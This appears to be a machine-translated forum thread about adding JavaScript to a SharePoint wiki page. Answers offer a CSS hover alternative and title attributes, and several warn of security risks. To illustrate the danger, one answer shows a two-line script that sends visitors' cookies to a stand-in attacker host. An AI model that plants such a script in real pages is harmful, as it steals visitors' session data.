作爲維基管理員,我怎樣才能將腳本(Javascript)輸入Sharepoint wiki頁面?
我想輸入一個標題,點擊它時,在它下面顯示一個小的解釋。我通常使用JavaScript,任何其他想法做到這一點?如何在wiki頁面輸入Javascript?
回答
假設您是wiki的管理員,並且願意在鼠標懸停而不是點擊上顯示此內容,則根本不需要JavaScript - 您可以使用直接CSS。這裏的的風格和標記的例子:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
"http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<title>Test</title>
<style type="text/css">
h1 { padding-bottom: .5em; position: relative; }
h1 span { font-weight: normal; font-size: small; position: absolute; bottom: 0; display: none; }
h1:hover span { display: block; }
</style>
</head>
<body>
<h1>Here is the title!
<span>Here is a little explanation</span>
</h1>
<p>Here is some page content</p>
</body>
</html>
對於一些更復雜的風格,你的工具提示框,可以看起來不錯,只要你願意。
這聽起來像是一種安全風險。維基管理員似乎可以安裝腳本,請參閱wikipedia's user scripts。
您應該無法爲任何公開wiki添加JavaScript代碼。如果您自己託管它,那麼您需要請求一個特定的wiki系統,以便有人可以幫助您修改設置 - 如果可能的話對於該系統。
如果你在談論使用Javascript在該網站網頁的一部分,你不能。或者任何其他公開的wiki - 這是一個安全風險。
如果你在談論張貼代碼示例,請點擊文本框上方的「101010」按鈕。
這當然取決於您正在與之交談的wiki引擎。正如sblundy所說,儘管如此,最有可能在wiki頁面上允許免費使用javascript的安全風險。
它完全取決於您使用的特定Wiki軟件。我見過的工作方式是在其他地方託管一個js文件,然後包含一個帶有src屬性的腳本標籤。
如果他們不允許,也許他們允許,你可以設置爲一個包含腳本的網頁的IFRAME。使用第二種技術,您將不被允許訪問主機頁面的DOM。
添加title="text here"
任何標籤,並在其上懸停時,它應顯示文本。
當您使用alt="text here"
屬性時,Internet Explorer將顯示文本,儘管這不符合標準。
我現在測試,你可以添加<h2 title="some explanation here">headline</h2>
基於維基的任何系統(在一個維基百科使用)。
如果維基作者是明智的,有可能是沒有辦法做到這一點。
用戶提供的JavaScript的問題在於,它爲所有形式的邪惡者打開了從毫無防備的數據中獲取數據的大門。
讓我們假設邪惡 - 我張貼的腳本在公共網站:
i = new Image();
i.src = 'http://evilme.com/store_cookie_data?c=' + document.cookie;
現在我將收到每個訪問者的頁面的cookie信息,貼到我的服務器上的日誌。這只是冰山一角。
我喜歡CSS答案。當你可以使用CSS而不是Javascript時,它會產生更簡單的標記。
另一個需要研究的問題是Codeplex上的SharePoint增強版Wiki社區工具包。您可以下載源代碼並添加自己的功能。或者您可以將其作爲論壇中的一項新功能。
- 1. 如何在GitHub wiki頁面插入javascript以啓用MathJax?
- 2. 如何在wiki中創建子頁面到父頁面
- 3. SharePoint 2010的Wiki網頁庫 - 限制插入Web部件在Wiki頁面
- 4. Sharepoint 2007 Wiki頁面編程 - 輸入驗證
- 5. 列出wiki`Home`頁面上的所有wiki頁面
- 6. 在wiki頁面中列出組件 - 或在wiki頁面中顯示報告的輸出
- 7. Grails - 如何將wiki頁面嵌入到Grails應用程序
- 8. 如何在頁面加載運行javascript和測試輸入
- 9. 如何在頁面加載時清空輸入字段WITH JAVASCRIPT
- 10. 如何在asp.net頁面上寫入javascript
- 11. 如何在redmine的另一個wiki頁面中包含附件列表的wiki頁面?
- 12. 在我的Redmine wiki頁面中獲取wiki標題
- 13. 來自頁面的JavaScript變量輸入?
- 14. 在gitlab wiki中觀看頁面
- 15. 如何在Confluence wiki上爲頁面創建可搜索屬性?
- 16. 如何在FogBugz wiki頁面中創建HTML錨點?
- 17. 如何在Django wiki中動態創建新頁面?
- 18. 如何排除某個wiki頁面出現在trac搜索中?
- 19. 如何在Sharepoint 2007 wiki頁面中自動創建目錄?
- 20. 如何在github wiki頁面中製作「spoiler」文本?
- 21. 如何從PHP頁面輸入python
- 22. wordpress:如何把一個輸入頁面?
- 23. 如何使用Wiki擴展(WPMW)內的Wiki Media API工具將內容寫入/添加到頁面
- 24. 無法將自定義wiki頁面添加到wiki庫
- 25. 如何隱藏某些頁面的GitHubs wiki頁面上的側邊欄?
- 26. 如何將頁面設置爲Google Code上的默認wiki頁面?
- 27. 如何在javascript測驗頁面中添加其他(輸入文本選項)
- 28. 如何獲得滿載頁面(用JavaScript)的HTML作爲輸入在Java中?
- 29. Phabricator Wiki(Phriction)頁面沒有菜單
- 30. 從更新或添加的wiki頁面
你是維基網站管理員還是其他用戶。 – sblundy 2008-09-17 21:15:36
這改變了一切。請更新您的問題並加入您的wiki平臺。 – sblundy 2008-09-17 21:21:51